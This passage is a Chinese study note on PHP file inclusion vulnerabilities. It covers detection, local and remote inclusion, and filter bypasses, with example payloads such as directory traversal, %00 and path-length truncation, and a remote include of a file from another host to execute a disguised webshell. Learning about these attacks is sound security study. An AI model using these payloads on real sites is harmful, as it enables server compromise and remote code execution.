1. 程式人生 > 其它 >檔案包含學習筆記(PHP)

檔案包含學習筆記(PHP)

  檔案包含包括本地檔案包含和遠端檔案包含,當檔案上傳檢測比較嚴密時(無法直接上傳可執行指令碼),可先上傳一個非可執行指令碼(如圖片和文件),在其中包含著webshell,然後將其進行檔案包含,使其中的webshell能夠被當做指令碼執行。

  如果直接訪問包含著webshell的文字或圖片,webshell檔案就只會被當做靜態檔案展示出來。

一、漏洞檢測

如何檢測一個網站是否存在檔案包含漏洞

1、白盒  程式碼審計

2、黑盒  漏掃工具

      公開漏洞(如果網站使用了cms可以查詢該文章管理系統是否存在已知漏洞)

      手工看引數值即功能點(檔案包含的特徵)

二、包含型別

本地包含:只能包含本地檔案,也可以利用日誌寫入之類的技巧。

遠端包含:可以包含其他網站的檔案,因為可以自己構造檔案所以危害比本地包含更大。

無限制:可以包含任意型別檔案,對所包含的檔案沒有任何過濾和限制。

有限制:對要包含的檔案有一定過濾措施,需要用特殊方法繞過。

三、本地包含

無限制舉例:

http://192.168.9.140/include.php?filename=1.txt  txt檔案將被當做指令碼檔案執行

http://192.168.9.140/include.php?filename=../../../www.txt  可目錄穿越包含其他路徑的檔案

有限制舉例:

1、限制檔案字尾名

下圖中程式碼在檔案後強制加上了.html的字尾,意為:只能包含字尾名為.html的檔案,因為在相應目錄下找不到對應檔名的.html檔案(上傳的是.txt檔案),檔案包含失敗。

繞過方法:

(1)%00截斷:條件:magic_quotes_qpc=off  php版本<5.3.4

filename=../../../www.txt%00

(2)長度截斷:條件:Windows點號需要長於256;Linux長於4096

url長度超過規定長度時,.html字尾就加不上去了,還是會尋找字尾為.txt的檔案。

/./././././././././././././././././././.

雖然檔名字尾過濾可以被繞過,但如果攻擊者看不到原始碼的話,也會對其攻擊造成一定阻礙。

2、過濾../、\..、http、https

四、遠端包含

  是否能遠端包含取決於兩點,allow_url_include是否為on,程式碼中是否限制只能包含本地檔案。allow_url_include設定可以在phpinfo頁面看到。


無限制:

http://192.168.9.140/include.php?filename=http://192.168.9.100/readme.txt

有限制:(過濾檔案字尾)

http://192.168.9.140/include.php?filename=http://192.168.9.100/readme.txt%23 (%20或?也可)

五、利用偽協議